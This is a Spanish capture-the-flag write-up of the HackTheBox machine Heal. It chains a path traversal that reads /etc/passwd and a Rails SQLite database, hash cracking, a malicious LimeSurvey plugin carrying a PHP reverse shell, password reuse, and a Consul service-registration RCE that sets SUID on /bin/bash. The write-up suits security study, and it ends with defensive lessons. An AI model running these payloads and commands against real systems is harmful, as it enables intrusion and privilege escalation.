the_open_door
café
ESEN

Heal

HackTheBoxMediaLinux10.10.11.46

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ruby-on-rails#lfi#path-traversal#hash-cracking#limesurvey#file-upload-rce#credential-reuse#port-forwarding#consul#suid#linux
TL;DR. Heal es una máquina Linux de dificultad media muy encadenada. El front es una React que habla con una API en Ruby on Rails (api.heal.htb); el exportador de currículos tiene un path traversal (/download?filename=) que deja leer la base SQLite de Rails y, con ella, el hash bcrypt de ralph, que john crackea. Esas credenciales abren un tercer subdominio con LimeSurvey 6.6.4, donde un plugin malicioso da shell como www-data. La contraseña de PostgreSQL del config.php se reutiliza para su ron, y desde ahí un reenvío de puertos expone un Consul interno vulnerable a RCE por registro de servicio, que ejecuta como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo.

ping -c 1 10.10.11.46
64 bytes from 10.10.11.46: icmp_seq=1 ttl=63 time=38.2 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.46 -oG scan

nmap descubre 22/ssh y 80/http con ttl 63 en 10.10.11.46

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
MAC Address: 00:50:56:B0:2E:D8 (VMware)

Solo dos puertos de 65535. Una superficie tan estrecha significa que todo el ataque tiene que pasar por el 80, porque el 22 sin credenciales no es un vector.

Para no copiar los puertos a mano al segundo escaneo, una función auxiliar del .zshrc:

extractPorts leyendo el fichero scan y devolviendo IP Address 10.10.11.46 y Open ports 22,80, copiados al portapapeles

Extracting information...
IP Address: 10.10.11.46
Open ports: 22,80

Ports copied to clipboard
nmap -p22,80 -sCV 10.10.11.46

nmap -sCV sobre 22 y 80: OpenSSH 8.9p1 Ubuntu y nginx 1.18.0 con la nota "Did not follow redirect to http://heal.htb/"

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La línea que importa es Did not follow redirect to http://heal.htb/: el servidor responde a la IP con una redirección a un nombre de dominio. Eso es virtual hosting, y significa que sin ese nombre en el /etc/hosts no se ve el sitio real.

/etc/hosts con la línea 10.10.11.46 heal.htb

10.10.11.46     heal.htb

whatweb identifica el stack del front:

whatweb http://heal.htb

whatweb identifica el dominio heal.htb y un front basado en React

http://heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)],
IP[10.10.11.46], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]

El X-Powered-By[Express] delata un backend Node/Express sirviendo el front; el título Heal y el nginx por delante completan el stack.

Lo que el fuzzing de directorios no encontró

Antes de mirar subdominios toca lo obvio: buscar rutas en el propio dominio.

dirsearch -u http://heal.htb/

dirsearch contra heal.htb con 11460 palabras: la ejecución termina con "Task Completed" y ni una sola línea de resultado

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/krmena/reports/http_heal.htb/__24-12-22_19-24-53.txt

Target: http://heal.htb/

[19:24:53] Starting:

Task Completed

Ni un solo resultado. No es un fallo de la herramienta: es lo que cabe esperar de una SPA de React, donde todas las rutas las resuelve el JavaScript en el navegador y el servidor devuelve siempre el mismo index.html. Un diccionario de 11 460 nombres no encuentra nada porque no hay nada que encontrar en el sistema de ficheros. La consecuencia práctica: si la lógica no está en rutas, estará en otro host.

La web tampoco deja entrar por la puerta. Un intento de acceso con credenciales inventadas devuelve el mismo mensaje genérico, sin distinguir entre usuario inexistente y contraseña incorrecta:

La portada "Fast Resume Builder" con el formulario Welcome Back relleno con el usuario test: al pulsar SIGN IN aparece "Something went wrong!" y debajo el enlace NEW HERE? SIGN UP resaltado

Something went wrong!

El enlace NEW HERE? SIGN UP lleva al formulario de registro, que falla igual:

La portada "Fast Resume Builder" con el formulario Create an Account: al pulsar SIGN UP devuelve "Something went wrong!"

Something went wrong!

El registro está roto (o deshabilitado), así que no hay forma de crearse una cuenta legítima.

Subdominios: la API en Rails

Con el fuzzing de rutas agotado y el registro cerrado, queda fuzzear por vhost: pedir siempre la misma IP cambiando la cabecera Host y quedarse con las respuestas distintas.

gobuster vhost -u http://heal.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300 --append-domain | grep -v 400

gobuster vhost descubre el subdominio api.heal.htb

Starting gobuster in VHOST enumeration mode
Found: api.heal.htb Status: 200 [Size: 12515]
Found: API.heal.htb Status: 200 [Size: 12515]
Progress: 220559 / 220560 (100.00%)

Se confirma con wfuzz, filtrando por los códigos de la respuesta por defecto:

wfuzz -u http://heal.htb -H "Host: FUZZ.heal.htb" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=301,400 -t 200

wfuzz con 220559 peticiones devuelve solo "api" y "API", ambas con 200 y 12515 caracteres

Target: http://heal.htb/
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001026:   200        90 L     186 W      12515 Ch    "api"
000012688:   200        90 L     186 W      12515 Ch    "API"

De 220 559 nombres, uno: api (y su versión en mayúsculas, que es el mismo vhost, porque los nombres DNS no distinguen capitalización). Añadido al /etc/hosts:

/etc/hosts ampliado con api.heal.htb junto a heal.htb

10.10.11.46     heal.htb api.heal.htb

api.heal.htb responde con la página por defecto de Ruby on Rails 7.1.4 (Ruby 3.3.5). No hay un CVE directo para esa versión, así que el camino estará en la lógica de la aplicación.

la página por defecto de api.heal.htb revela Rails 7.1.4 y Ruby 3.3.5

Acceso a la aplicación

Cómo autentica el front

Antes de atacar el login hay que ver qué manda. Interceptando con Burp aparecen dos peticiones por intento, no una:

Burp interceptando una petición OPTIONS a api.heal.htb, la comprobación previa de CORS que lanza el navegador antes del POST

La primera es un OPTIONS (el preflight de CORS que el navegador lanza por su cuenta cuando el front en heal.htb habla con api.heal.htb, otro origen). No lleva credenciales y no sirve para atacar. La segunda sí:

Burp mostrando POST /signin hacia api.heal.htb con el cuerpo JSON {"username":"test","password":"test"}

POST /signin HTTP/1.1
Host: api.heal.htb
Content-Type: application/json
Origin: http://heal.htb

{
    "username":"test",
    "password":"test"
}

Dato clave para automatizar: el cuerpo es JSON, no un formulario. Eso descarta el http-post-form de hydra tal cual y obliga a construir la petición a mano:

curl http://api.heal.htb/signin -H "Content-Type: application/json" --data '{"username":"admin","password":"admin"}'

curl contra /signin con admin/admin devuelve un JSON con un token JWT

{"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoOfQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w"}

Las credenciales típicas admin:admin entran a la primera. La respuesta no es una cookie sino un JWT, que es lo que el front guardará y enviará en la cabecera Authorization: Bearer de cada llamada posterior; conviene tenerlo presente porque hará falta para repetir peticiones desde Burp.

Por completitud, así se plantearía el ataque por fuerza bruta contra ese endpoint (aquí innecesario, pero es el camino que se seguiría sin acertar con la credencial típica):

hydra atacando el endpoint /signin de api.heal.htb con el diccionario rockyou

un script de fuerza bruta confirma la contraseña admin para el usuario admin contra la API

Una vez dentro, la aplicación es un constructor de currículos que permite exportar el CV a PDF.

el Resume Builder de heal.htb tras autenticarse, con los botones PROFILE, SURVEY y LOGOUT y las secciones Personal Information y Education

con admin/admin se accede al constructor de currículos

Cómo se genera el PDF

Exportar el CV dispara otra secuencia de peticiones. Primero el OPTIONS de rigor:

Burp interceptando el OPTIONS previo de la exportación hacia api.heal.htb

Luego el POST que genera el fichero, y aquí se ve el diseño completo:

Burp: POST /exports hacia api.heal.htb con la cabecera Authorization Bearer y un cuerpo JSON que contiene el HTML completo del CV y "format":"pdf"

POST /exports HTTP/1.1
Host: api.heal.htb
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoOfQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w

{
  "content": "<!DOCTYPE html>\n<html>\n<head>\n<style>...</style>\n</head>\n<body>\n
              <div class=\"resume-container\">\n<h1></h1>\n<p>Email: </p>\n...\n</body>\n</html>",
  "format": "pdf"
}

El cliente manda el HTML entero y el servidor lo convierte. Y la descarga posterior no devuelve el PDF en la misma respuesta: entrega un nombre de fichero que hay que pedir aparte.

la exportación del PDF acaba en una petición a la API que indica el fichero a descargar

Un parámetro que contiene un nombre de fichero controlado por el cliente es exactamente el patrón que hay que probar.

LFI: leyendo la base de datos

/download?filename= y el path traversal

Se envía esa última petición al Repeater, se cambia el método a GET y se apunta filename fuera del directorio previsto. El clásico para confirmarlo:

GET /download?filename=/etc/passwd HTTP/1.1
Host: api.heal.htb
Authorization: Bearer <jwt>

Burp: GET /download?filename=/etc/passwd devuelve el /etc/passwd completo, con ralph, postgres y ron como cuentas con shell

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash

Es un path traversal con lectura arbitraria, y de paso entrega el mapa de usuarios: solo root, ralph, postgres y ron tienen shell. Esos dos nombres son los objetivos del pivoting, y conviene anotarlos ahora: cuando más adelante aparezca una contraseña suelta, ya sabremos contra quién probarla.

Dónde guarda Rails sus secretos

Para saber qué pedir hay que conocer la estructura de un proyecto Rails. La forma honesta de averiguarlo es montar uno en local:

sudo apt install ruby-full
gem install rails
rails new myapp
tree myapp

tree de un proyecto Rails recién creado mostrando app/, bin/, config/ con credentials.yml.enc y database.yml, y el resto de la estructura

myapp
├── Dockerfile
├── Gemfile
├── Rakefile
├── app
│   ├── controllers
│   ├── models
│   └── views
├── bin
│   ├── rails
│   └── setup
├── config
│   ├── credentials.yml.enc
│   ├── database.yml
│   ├── environments
│   └── initializers
...

config/database.yml dice dónde vive la base de datos, y en una app Rails en modo desarrollo eso suele ser storage/development.sqlite3. Ese es el fichero que pedir:

GET /download?filename=../../storage/development.sqlite3

el LFI sobre /download descarga la base SQLite de Rails con la tabla users y los password_digest

El volcado de la base incluye la tabla users con sus password_digest. El de ralph (ralph@heal.htb, marcado como administrador) es un bcrypt ($2a$ al principio y 60 caracteres):

ralph@heal.htb  $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

Crackear el hash

john --wordlist=rockyou.txt --format=bcrypt --fork=8 hash

john crackea el hash bcrypt de ralph y devuelve 147258369

Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
147258369        (?)
1g 0:00:00:10 DONE (2024-12-23 16:20)  0.09285g/s ...  147258369..amigos

La contraseña es 147258369 (una diagonal del teclado numérico). El /etc/passwd decía que ralph tiene shell, así que lo primero es probar por SSH:

ssh ralph@heal.htb

ssh ralph@heal.htb rechaza la contraseña tres veces con "Permission denied, please try again."

ralph@heal.htb's password:
Permission denied, please try again.
ralph@heal.htb's password:
Permission denied, please try again.
ralph@heal.htb's password:

No cuela: la contraseña es de la aplicación, no de la cuenta del sistema. Es una distinción que se pasa por alto a menudo, y la evidencia de que fallan es tan útil como la de que funcionan. Donde sí vale es en el propio panel web, donde ralph resulta ser administrador:

el formulario Welcome Back de heal.htb relleno con el usuario ralph y la contraseña 147258369

la sesión como ralph muestra privilegios de administrador en la aplicación

Shell como www-data

Un tercer subdominio

Como administrador tampoco hay nada explotable a la vista, así que toca releer la web con más calma. Y en la propia interfaz hay un botón que nadie mira:

el Resume Builder con el botón SURVEY de la barra superior resaltado

La tarjeta "HELP US IMPROVE!" con el botón verde TAKE THE SURVEY

el botón apunta a un subdominio take-survey.heal.htb que aún no resuelve

El enlace apunta a take-survey.heal.htb, un tercer vhost que el fuzzing no encontró (no está en directory-list-2.3-medium.txt) pero que la aplicación publica ella sola. Es el mismo patrón que en otras máquinas: mirar el sitio antes de lanzar 220 000 nombres.

/etc/hosts con los tres nombres: heal.htb, api.heal.htb y take-survey.heal.htb

10.10.11.46     heal.htb api.heal.htb take-survey.heal.htb

Las credenciales de ralph también abren este panel (otra reutilización), y la versión es LimeSurvey 6.6.4:

el login de take-survey.heal.htb es un LimeSurvey al que se entra con las credenciales de ralph

Plugin malicioso

LimeSurvey deja instalar plugins desde el panel (Configuration → Plugins). Como en tantos CMS, eso es ejecución de código: un plugin es PHP que el servidor va a ejecutar.

se entra al panel de LimeSurvey como ralph; la sección Plugins permite subir uno nuevo

El paquete mínimo son dos ficheros: un config.xml con los metadatos que LimeSurvey exige y la reverse shell. Se parte del proyecto de Y1LD1R1M, con un detalle que hay que corregir a mano:

config.xml abierto en nano con la línea &lt;version&gt;6.0&lt;/version&gt; añadida al bloque de compatibilidad

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
        <version>6.0</version>
    </compatibility>

El config.xml original solo declara compatibilidad hasta la 5.0, y este LimeSurvey es 6.6.4: sin añadir la línea <version>6.0</version> la instalación se rechaza antes de subir nada. Es el tipo de detalle que convierte un exploit "que no funciona" en uno que sí.

En la reverse shell se ajustan IP y puerto de escucha:

el php-rev.php editado con la IP del atacante y el puerto de escucha

$ip = '10.10.14.x';  // CHANGE THIS
$port = 1234;        // CHANGE THIS
zip Y1LD1R1M.zip config.xml php-rev.php

se genera el comprimido con el config.xml y la revshell PHP

updating: config.xml (deflated 56%)
updating: php-rev.php (deflated 61%)

El propio repositorio trae un exploit.py que automatiza toda la secuencia (login, subida, instalación, activación y petición final), pero está escrito para el .zip y la ruta del autor, así que hay tres líneas que cambiar. La primera, el nombre del comprimido que se sube:

la línea de exploit.py que abre el zip, marcada con el comentario CHANGE THIS

filehandle = open("Y1LD1R1M.zip",mode = "rb")  # CHANGE THIS

Y al final del script, el identificador del plugin a activar y la ruta desde la que se pide la shell:

las dos líneas finales de exploit.py: el pluginId y la URL del php-rev.php dentro de upload/plugins, ambas marcadas con CHANGE THIS

Activate_creds = {
        "YII_CSRF_TOKEN":CSRF_token4,
        "pluginId": "1"   # CHANGE THIS
}
...
shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php")  # CHANGE THIS

Nos ponemos a la escucha antes de disparar:

nc -nlvp 1234

el listener nc esperando en el puerto 1234

listening on [any] 1234 ...

Y se lanza el exploit con la URL del LimeSurvey, las credenciales de ralph y el puerto:

python3 exploit.py http://take-survey.heal.htb ralph 147258369 80

exploit.py recorre las cuatro fases, imprimiendo el token CSRF de cada una y confirmando Plugin Uploaded, Installed y Activated Successfully

[+] Retrieving CSRF token ...
[+] Sending Login Request ...
[+]Login Successful

[+] Upload Plugin Request ...
[+] Plugin Uploaded Successfully

[+] Install Plugin Request ...
[+] Plugin Installed Successfully

[+] Activate Plugin Request ...
[+] Plugin Activated Successfully

[+] Reverse Shell Starting, Check Your Connection :)

El script se queda colgado en esa última línea: es la señal de que la petición al .php está bloqueada porque la reverse shell ya se está ejecutando al otro lado. En el listener llega la shell como www-data:

reverse shell recibida; whoami devuelve www-data

$ whoami
www-data

Acceso como ron

Credenciales de PostgreSQL

El config.php de LimeSurvey guarda la cadena de conexión a la base de datos con la contraseña en claro:

cat application/config/config.php | grep pass

el config.php de LimeSurvey expone la contraseña de PostgreSQL AdmiDi0_pA$$w0rd

'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;'
psql -h localhost -p 5432 -U db_user -d survey

psql conectando como db_user a la base survey; \l lista postgres, survey, template0 y template1

Password for user db_user:
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

survey=> \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 survey    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres         +
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
(4 rows)

En PostgreSQL las tablas se listan con \dt (no con SHOW TABLES):

\dt en psql listando 60 tablas del esquema public, todas con prefijo lime_, entre ellas lime_users

 public | lime_surveys                  | table | db_user
 public | lime_templates                | table | db_user
 public | lime_user_groups              | table | db_user
 public | lime_user_in_groups           | table | db_user
 public | lime_user_in_permissionrole   | table | db_user
 public | lime_users                    | table | db_user
(60 rows)

De las 60, la interesante es lime_users. Pero el hash de ralph que guarda es el mismo que ya teníamos y no abre ningún usuario nuevo:

la tabla lime_users contiene el hash de ralph, ya conocido

Se comprueba pasándolo por john otra vez: el crackeo devuelve la misma contraseña que ya teníamos.

john --show rrhash

john --show sobre el fichero de hashes devuelve dos veces la contraseña 147258369

?:147258369
?:147258369

2 password hashes cracked, 0 left

Los dos hashes (el de la SQLite de Rails y el de lime_users) son de la misma contraseña, así que por ahí no se avanza. Y probarla con su contra ralph o ron tampoco funciona.

Reutilización de contraseña

El valor que sí sirve no estaba en ninguna tabla, sino en el propio fichero de configuración: AdmiDi0_pA$$w0rd está reutilizada como contraseña del sistema. Y aquí es donde paga haber leído el /etc/passwd por el LFI: los únicos candidatos con shell eran ralph y ron.

su ron   # AdmiDi0_pA$$w0rd

su ron con la contraseña de PostgreSQL funciona; leemos user.txt

ron@heal:~$ cat user.txt
e291269a4b1a1cc5c43022b7cfe015c7

Shell como root

Puertos internos y port forwarding

Con una sesión de usuario real, lo primero es mirar qué escucha solo en localhost, que es justo lo que el escaneo desde fuera no podía ver:

netstat -tuln

netstat -tuln en heal mostrando, además del 22 y el 80 públicos, una decena de puertos escuchando solo en 127.0.0.1: 5432, 3000, 3001, 8500, 8503, 8600, 8300, 8301 y 8302

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN

Once servicios internos frente a los dos que veía nmap. Como ya tenemos contraseña de ron, el reenvío de puertos por SSH los trae a nuestra máquina sin necesidad de subir herramientas:

ssh -L 2222:127.0.0.1:22 \
    -L 8080:127.0.0.1:80 \
    -L 5432:127.0.0.1:5432 \
    -L 3000:127.0.0.1:3000 \
    -L 3001:127.0.0.1:3001 \
    -L 8500:127.0.0.1:8500 \
    -L 8503:127.0.0.1:8503 \
    -L 8600:127.0.0.1:8600 \
    -L 8300:127.0.0.1:8300 \
    -L 8301:127.0.0.1:8301 \
    -L 8302:127.0.0.1:8302 \
    ron@heal.htb

el comando ssh con los once -L abre la sesión de ron y deja los túneles activos

ron@heal:~$

El comando no imprime nada más: deja la sesión abierta con los túneles montados detrás, y la prueba de que funcionan es que los puertos ya responden en nuestro 127.0.0.1. Recorriéndolos uno a uno, el 8500 es el único con algo aprovechable, un panel de HashiCorp Consul v1.19.2:

el puerto 8500 reenviado muestra el panel de Consul v1.19.2 con los servicios registrados

El panel confirma de paso lo que hacían los demás puertos: Heal PDF APP, Postgres, Ruby API service. Consul es el orquestador que registra y vigila los servicios de la máquina.

Consul: RCE por registro de servicio

Consul permite registrar servicios con health checks de tipo script, y el endpoint PUT /v1/agent/service/register no sanea ese campo: registrar un servicio con un check malicioso ejecuta comandos como el usuario del agente, que aquí es root. El exploit público es owalid/consul-rce, cuyo README describe exactamente el fallo y cómo invocarlo:

el README de owalid/consul-rce en GitHub explicando la inyeccion de comandos en el parametro ServiceID del endpoint de registro, con el bloque de uso del script

usage: consul_rce.py [-h] -th TARGET_HOST -tp TARGET_PORT -c COMMAND [-s SSL] [-ct CONSUL_TOKEN]

optional arguments:
  -h, --help                              show this help message and exit
  -th TARGET_HOST, --target_host TARGET_HOST    Target Host (REQUIRED)
  -tp TARGET_PORT, --target_port TARGET_PORT    Target Port (REQUIRED)
  -c COMMAND, --command COMMAND                 Command to execute (REQUIRED)
  -s SSL, --ssl SSL                             SSL
  -ct CONSUL_TOKEN, --consul-token CONSUL_TOKEN Consul Token

Nótese que el token de Consul es opcional: si el agente no exige ACL, como aquí, basta con el host y el puerto.

git clone https://github.com/owalid/consul-rce.git

git clone del repositorio owalid/consul-rce

Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.

En lugar de una reverse shell (que moriría con el check), el payload deja una puerta permanente marcando /bin/bash como SUID:

echo "chmod u+s /bin/bash" > /tmp/tmp.sh
cat /tmp/tmp.sh
chmod +x /tmp/tmp.sh

el payload prepara tmp.sh con chmod u+s /bin/bash para el exploit de Consul

ron@heal:/tmp$ cat tmp.sh
chmod u+s /bin/bash
python3 consul_rce.py -th 127.0.0.1 -tp 8500 -ct <token-acl> -c "/bin/bash /tmp/tmp.sh"

consul_rce.py crea y desregistra un check con nombre aleatorio, confirmando ambos pasos con un signo más

[+] Check akudyyphitwdbfx created successfully
[+] Check akudyyphitwdbfx deregistered successfully

El exploit limpia detrás de sí: registra el check con un nombre aleatorio, deja que se ejecute una vez y lo desregistra. Que ambos pasos digan successfully no prueba todavía que el comando haya corrido, así que se comprueba:

ls -l /bin/bash

ls -l /bin/bash muestra los permisos -rwsr-xr-x con la s del bit SUID

ron@heal:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

La s en lugar de la x del propietario es el bit SUID: cualquiera que ejecute /bin/bash lo hará con el EUID de root. Esa s es la prueba de que el RCE funcionó.

bash -p

bash -p da una shell de root y leemos root.txt

ron@heal:/tmp$ bash -p
bash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) groups=1001(ron)

El -p es imprescindible: sin él, bash detecta que el UID real y el efectivo no coinciden y renuncia al privilegio por seguridad. Con él conserva el euid=0.

la shell de root lee /root/root.txt

bash-5.1# cat /root/root.txt
b976d02afd83a3d57bad01fd36957e2a

Cadena de ataque

web :80 (React)  →  heal.htb  →  vhost fuzz  →  api.heal.htb (Rails 7.1.4)
   │  admin:admin  →  exportar CV  →  /download?filename=  →  path traversal (LFI)
   ▼
/etc/passwd (ralph, ron)  +  storage/development.sqlite3  →  bcrypt de ralph  →  john  →  147258369
   │  no vale para SSH; sí para la web como ralph (admin)  →  botón "Take the survey"
   ▼
take-survey.heal.htb → LimeSurvey 6.6.4  →  plugin malicioso (config.xml <version>6.0</version> + revshell.php)
   ▼
www-data  →  config.php  →  pass PostgreSQL AdmiDi0_pA$$w0rd  (reutilización)
   ▼
ron (user.txt)  →  netstat: 11 puertos internos  →  port forwarding  →  Consul v1.19.2 :8500
   │  PUT /v1/agent/service/register (ServiceID)  →  chmod u+s /bin/bash
   ▼
root  (bash -p, root.txt)

Lecciones aprendidas

  • Un parámetro con un nombre de fichero es un LFI a un descuido de distancia. El /download?filename= de la API entregaba cualquier ruta; primero el /etc/passwd (que da el mapa de usuarios para el pivoting) y luego la base SQLite de Rails con todos los hashes. Validar y normalizar rutas, y servir descargas por identificador.
  • Un fuzzing vacío también informa. Los 11 460 nombres de dirsearch sin un solo resultado no eran un fallo: eran la firma de una SPA, y la señal de que había que buscar en otros hosts, no en otras rutas.
  • La aplicación publica lo que el diccionario no tiene. take-survey.heal.htb no salió en 220 559 peticiones de vhost, pero estaba en un botón de la propia web.
  • Una contraseña de aplicación no es una contraseña de sistema. La de ralph no abría SSH; la de PostgreSQL sí abría su ron. Probar cada credencial en cada servicio y anotar dónde falla.
  • Administrador de un CMS = ejecución de código. LimeSurvey permite instalar plugins, y un plugin es PHP que el servidor ejecuta. Restringir quién instala extensiones y aislar el directorio de uploads.
  • No expongas (ni ejecutes como root) orquestadores como Consul. Su API ejecuta scripts por diseño; ACLs en deny, checks de script deshabilitados y el agente sin privilegios de root.
Cheatsheet de comandos 12 comandos

Repaso rápido